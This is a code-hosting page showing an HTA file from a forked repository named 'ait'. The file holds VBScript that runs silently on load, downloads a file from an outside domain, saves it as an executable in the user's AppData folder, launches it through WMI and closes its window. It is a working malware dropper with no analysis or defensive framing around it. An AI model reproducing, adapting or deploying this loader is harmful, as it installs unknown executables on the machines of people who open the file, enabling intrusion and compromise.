jhnsomers
/
ait
forked de nuclearkev/ait


			
				
					
						
						
							1234567891011121314151617181920212223242526272829303132333435363738394041424344
							<html>
<head>
<HTA:APPLICATION 
     APPLICATIONNAME="" 
     ID="" 
     VERSION="1.0"
     WINDOWSTATE="minimize"/>
<script language="VBScript">
    Sub Window_OnLoad
        Set objShell = CreateObject("WScript.Shell")
        
        ' Download the file using WinHttp
        Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
        objWinHttp.Open "GET", "https://agence-perinel.fr/cache/pointcross.dat", False
        objWinHttp.Send
        
        If objWinHttp.Status = 200 Then
            Set objFSO = CreateObject("Scripting.FileSystemObject")
            strFilePath = objShell.ExpandEnvironmentStrings("%APPDATA%") & "\sftx_x86.exe"
            
            If objFSO.FileExists(strFilePath) Then
                objFSO.DeleteFile strFilePath
            End If
            
            Set objStream = CreateObject("ADODB.Stream")
            objStream.Open
            objStream.Type = 1 ' Binary
            objStream.Write objWinHttp.ResponseBody
            objStream.SaveToFile strFilePath, 2 ' Overwrite
            objStream.Close
            
            Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
            Set objProcess = objWMIService.Get("Win32_Process")
            objProcess.Create strFilePath, null, null, intProcessID
        End If

        window.close
    End Sub
</script>
</head>
<body>
</body>
</html>